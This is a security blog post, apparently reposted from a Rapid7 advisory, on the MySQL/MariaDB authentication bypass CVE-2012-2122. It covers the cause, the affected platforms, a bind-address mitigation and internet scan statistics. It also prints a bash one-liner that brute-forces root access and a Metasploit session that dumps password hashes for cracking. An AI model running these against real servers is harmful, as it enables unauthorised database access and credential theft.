Introduction
On Saturday afternoon Sergei Golubchik posted to the oss-sec mailing list about a recently patched security flaw (CVE-2012-2122)
in the MySQL and MariaDB database servers. This flaw was rooted in an
assumption that the memcmp() function would always return a value within
the range -127 to 127 (signed character). On some platforms and with
certain optimizations enabled, this routine can return values outside of
this range, eventually causing the code that compares a hashed password
to sometimes return true even when the wrong password is specified.
Since the authentication protocol generates a different hash each time
this comparison is done, there is a 1 in 256 chance that ANY password
would be accepted for authentication.
In
short, if you try to authenticate to a MySQL server affected by this
flaw, there is a chance it will accept your password even if the wrong
one was supplied. The following one-liner in bash will provide access to
an affected MySQL server as the root user account, without actually
knowing the password.
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
Exploitability
Although
a wide range of MySQL and MariaDB versions use the vulnerable code,
only some of these systems are exploitable. It boils down to whether the
memcmp() routine returns values outside of the unsigned character
range. According to Sergei, this is normally not the case, and the
routine is normally compiled into the server as an inline function. The
major exception is when GCC uses SSE optimization. Joshua Drake, a security researcher with Accuvant Labs, provided a sample application
that can determine whether your system might be affected. On most
systems, the results of this application match the MySQL package
provided by the distribution, but the only way to be sure is to actually
test it.
So far, the following systems have been confirmed as vulnerable:
- Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04 ) ( via many including @michealc )
- OpenSuSE 12.1 64-bit MySQL 5.5.23-log ( via @michealc )
- Debian Unstable 64-bit 5.5.23-2 ( via @derickr )
- Fedora ( via hexed and confirmed by Red Hat )
- Arch Linux (unspecified version)
Feedback so far indicates the following platforms are NOT vulnerable:
- Official builds from MySQL and MariaDB (including Windows)
- Red Hat Enterprise Linux 4, 5, and 6 (confirmed by Red Hat)
- CentOS using official RHEL rpms
- Ubuntu Linux 32-bit (10.04, 11.10, 12.04, likely all)
- Debian Linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
- Debian Linux lenny 32-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
- Debian Linux lenny 64-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
- Debian Linux lenny 64-bit 5.1.51-1-log ( via @matthewbloch )
- Debian Linux squeeze 64-bit 5.1.49-3-log ( via @matthewbloch )
- Debian Linux squeeze 32-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
- Debian Linux squeeze 64-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
- Gentoo 64-bit 5.1.62-r1 ( via @twit4c )
- SuSE 9.3 i586 MySQL 4.1.10a ( via @twit4c )
- OpenIndiana oi_151a4 5.1.37 ( via @TamberP )
Most Linux vendors should have a patch out soon, if not already.
Caveats and Defense
The
first rule of securing MySQL is to not expose to the network at large
in the first place. Most Linux distributions bind the MySQL daemon to
localhost, preventing remote access to the service. In cases where
network access must be provided, MySQL also provides host-based access
controls. There are few use cases where the MySQL daemon should be
intentionally exposed to the wider network and without any form of
host-based access control.
If you are responsible for a MySQL server that is currently exposed to
the network unnecessarily, the easiest thing to do is to modify the
my.cnf file in order to restrict access to the local system. Open my.cnf
with the editor of your choice, find the section labeled [mysqld] and
change (or add a new line to set) the "bind-address" parameter to
"127.0.0.1". Restart the MySQL service to apply this setting.
Real-world Version Information
Pulling from the resources of a personal side project,
I was able to derive some statistics about the real-world impact of
this vulnerability. This project managed to find and gather the initial
handshake for approximately 1.74 million MySQL servers across the
internet at large. This statistic only includes MySQL instances that
were on hosts publicly exposed to the internet and not bound to
localhost.
Host Access Control
Of the 1.74 million MySQL servers identified, slightly more than 50%
did not enforce host-based access controls ( 879,046 vs 863,920 ). The
data was gathered by scanning randomly generated IPs across the entire
addressable IPv4 unicast range, excluding networks known to be "dark" or
where the network administrators had opted out of the survey.
MySQL Version Numbers
If we break down the list of accessible servers by version,
we can see that the 5.0.x version series accounts for over 356,000 of
the entire set, followed by 285,000 running a 5.1.x version, and 134,436
running a 5.5.x version. Doing the same type of analysis on the build flavor
highlights how easy it is to identify Ubuntu (43,900), Debian (6,408),
and Windows (98,665) MySQL services from the banners alone. Knowing that
most Ubuntu 64-bit builds are likely to be vulnerable, the real
question is how many of those nearly 44,000 Ubuntu systems are running 64-bit editions of the operating system.
Making the Most of It
If
you are approaching this issue from the perspective of a penetration
tester, this will be one of the most useful MySQL tricks for some time
to come. One feature of Metasploit you should be familiar with is the
mysql_hashdump module. This module uses a known username and password to
access the master user table of a MySQL server and dump it into a
locally-stored "loot" file. This can be easily cracked using a tool like
John the Ripper, providing clear-text passwords that may provide
further access.
This evening Jonathan Cran (CTO of Pwnie Express and Metasploit contributor) committed a threaded brute-force module
that abuses the authentication bypass flaw to automatically dump the
password database. This ensures that even if the authentication bypass
vulnerability is fixed, you should still be able to access the database
using the cracked password hashes. A quick demonstration of this module
is shown below using the latest Metasploit Framework GIT/SVN snapshot.
$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
If you'd like to give this a try yourself,
download Metasploit now.
References
https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
No comments:
Post a Comment